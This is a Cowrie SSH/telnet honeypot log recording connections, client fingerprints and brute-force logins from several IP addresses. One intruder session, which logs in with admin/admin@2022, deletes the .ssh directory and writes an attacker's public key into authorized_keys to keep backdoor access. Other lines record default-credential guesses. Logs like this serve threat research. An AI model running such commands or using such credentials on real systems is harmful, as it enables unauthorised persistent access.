{"eventid":"cowrie.login.success","username":"admin","password":"admin@2022","message":"login attempt [admin/admin@2022] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:44.583257Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49458,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6339410e623","protocol":"telnet","message":"New connection: 188.208.141.113:49458 (10.17.0.5:23) [session: d6339410e623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:44.700913Z"}
{"eventid":"cowrie.session.closed","duration":34.4803364276886,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:44.923909Z","src_ip":"162.55.233.176","session":"8a800eb24cea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45800,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ba4e02cbae2","protocol":"telnet","message":"New connection: 162.55.233.176:45800 (159.203.135.109:23) [session: 5ba4e02cbae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.030248Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.097211Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.102275Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.108136Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.344478Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.48016858100891,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.416360Z","src_ip":"162.55.233.176","session":"74cee5ef478c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46474099159241,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.421706Z","src_ip":"162.55.233.176","session":"6a62f336946e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.837121Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.841274Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45808,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a8480f26e10","protocol":"telnet","message":"New connection: 162.55.233.176:45808 (159.203.135.109:23) [session: 0a8480f26e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.851743Z"}
{"eventid":"cowrie.session.closed","duration":35.353501081466675,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.855549Z","src_ip":"162.55.233.176","session":"64db717d5345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45818,"dst_ip":"159.203.135.109","dst_port":23,"session":"486d0533bd67","protocol":"telnet","message":"New connection: 162.55.233.176:45818 (159.203.135.109:23) [session: 486d0533bd67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:45.975255Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.045971Z","src_ip":"213.209.159.158","session":"a07da18f3c0c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.075233Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.078699Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45842,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8f0e8cd562","protocol":"telnet","message":"New connection: 162.55.233.176:45842 (159.203.135.109:23) [session: ea8f0e8cd562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.084074Z"}
{"eventid":"cowrie.session.closed","duration":30.556273221969604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.101579Z","src_ip":"162.55.233.176","session":"a59178e49f74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62048,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f80c5bec77d","protocol":"ssh","message":"New connection: 213.209.159.158:62048 (10.17.0.5:22) [session: 7f80c5bec77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.140404Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45858,"dst_ip":"159.203.135.109","dst_port":23,"session":"54167b425997","protocol":"telnet","message":"New connection: 162.55.233.176:45858 (159.203.135.109:23) [session: 54167b425997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.247468Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":45587,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f52909498ec","protocol":"ssh","message":"New connection: 38.137.11.14:45587 (10.17.0.5:22) [session: 0f52909498ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.310375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.315219Z","src_ip":"38.137.11.14","session":"0f52909498ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.16556453704834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.554047Z","src_ip":"162.55.233.176","session":"d2110a08b100","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.558589Z","src_ip":"38.137.11.14","session":"0f52909498ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.890024185180664,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.648053Z","src_ip":"162.55.233.176","session":"68a1baa3ef61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.54790759086609,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.701136Z","src_ip":"188.208.141.113","session":"44cafed6ed6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45874,"dst_ip":"159.203.135.109","dst_port":23,"session":"593c4288b563","protocol":"telnet","message":"New connection: 162.55.233.176:45874 (159.203.135.109:23) [session: 593c4288b563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.715753Z"}
{"eventid":"cowrie.session.closed","duration":31.183974742889404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:46.795352Z","src_ip":"162.55.233.176","session":"ced114bf0fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45828,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cc8c59bf33d","protocol":"telnet","message":"New connection: 162.55.233.176:45828 (159.203.135.109:23) [session: 1cc8c59bf33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:47.062840Z"}
{"eventid":"cowrie.session.closed","duration":32.21971845626831,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:47.212998Z","src_ip":"162.55.233.176","session":"89f20f33c880","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45888,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fb99718cf6c","protocol":"telnet","message":"New connection: 162.55.233.176:45888 (159.203.135.109:23) [session: 9fb99718cf6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:47.306567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:47.363739Z","src_ip":"213.209.159.158","session":"7f80c5bec77d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:47.367510Z","src_ip":"213.209.159.158","session":"7f80c5bec77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.33396005630493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:47.419071Z","src_ip":"162.55.233.176","session":"fa6218d6b7a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:47.550257Z","src_ip":"38.137.11.14","session":"0f52909498ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.9081716537475586,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:47.608987Z","src_ip":"188.208.141.113","session":"d6339410e623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.950376510620117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:47.623695Z","src_ip":"162.55.233.176","session":"ec8451fc0c78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70122456550598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:48.182033Z","src_ip":"162.55.233.176","session":"d3c332f663ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.546905755996704,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:48.303217Z","src_ip":"162.55.233.176","session":"936a904c72a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45902,"dst_ip":"159.203.135.109","dst_port":23,"session":"c80759db844f","protocol":"telnet","message":"New connection: 162.55.233.176:45902 (159.203.135.109:23) [session: c80759db844f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:48.676513Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45900,"dst_ip":"159.203.135.109","dst_port":23,"session":"89c0a9e08666","protocol":"telnet","message":"New connection: 162.55.233.176:45900 (159.203.135.109:23) [session: 89c0a9e08666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:48.681892Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:48.793240Z","src_ip":"38.137.11.14","session":"0f52909498ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.45600438117981,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:48.800642Z","src_ip":"162.55.233.176","session":"78a3b541f591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.963120698928833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.031503Z","src_ip":"162.55.233.176","session":"f7c66eafac0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":48326,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc75d46bd15","protocol":"ssh","message":"New connection: 38.137.11.14:48326 (10.17.0.5:22) [session: 2cc75d46bd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.036786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.040614Z","src_ip":"38.137.11.14","session":"2cc75d46bd15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.276434Z","src_ip":"38.137.11.14","session":"2cc75d46bd15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45906,"dst_ip":"159.203.135.109","dst_port":23,"session":"645d3b3069b5","protocol":"telnet","message":"New connection: 162.55.233.176:45906 (159.203.135.109:23) [session: 645d3b3069b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.346068Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45922,"dst_ip":"159.203.135.109","dst_port":23,"session":"aab65b6cde6f","protocol":"telnet","message":"New connection: 162.55.233.176:45922 (159.203.135.109:23) [session: aab65b6cde6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.386303Z"}
{"eventid":"cowrie.session.closed","duration":30.853684663772583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.632460Z","src_ip":"162.55.233.176","session":"00437f58e859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45924,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab3026522a7a","protocol":"telnet","message":"New connection: 162.55.233.176:45924 (159.203.135.109:23) [session: ab3026522a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.661480Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45932,"dst_ip":"159.203.135.109","dst_port":23,"session":"61550f4b6665","protocol":"telnet","message":"New connection: 162.55.233.176:45932 (159.203.135.109:23) [session: 61550f4b6665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.770621Z"}
{"eventid":"cowrie.session.closed","duration":32.18616509437561,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:49.820015Z","src_ip":"162.55.233.176","session":"7d314fc73033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.911267280578613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.019563Z","src_ip":"162.55.233.176","session":"8c19b4901398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45948,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca99471d95fd","protocol":"telnet","message":"New connection: 162.55.233.176:45948 (159.203.135.109:23) [session: ca99471d95fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.029839Z"}
{"eventid":"cowrie.session.closed","duration":31.032222509384155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.240690Z","src_ip":"162.55.233.176","session":"1b8ba8755de4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.259350Z","src_ip":"38.137.11.14","session":"2cc75d46bd15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45958,"dst_ip":"159.203.135.109","dst_port":23,"session":"339e466d2f34","protocol":"telnet","message":"New connection: 162.55.233.176:45958 (159.203.135.109:23) [session: 339e466d2f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.479477Z"}
{"eventid":"cowrie.session.closed","duration":31.575087308883667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.538862Z","src_ip":"162.55.233.176","session":"78e510b317af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45964,"dst_ip":"159.203.135.109","dst_port":23,"session":"0655fd98f6e7","protocol":"telnet","message":"New connection: 162.55.233.176:45964 (159.203.135.109:23) [session: 0655fd98f6e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:50.568642Z"}
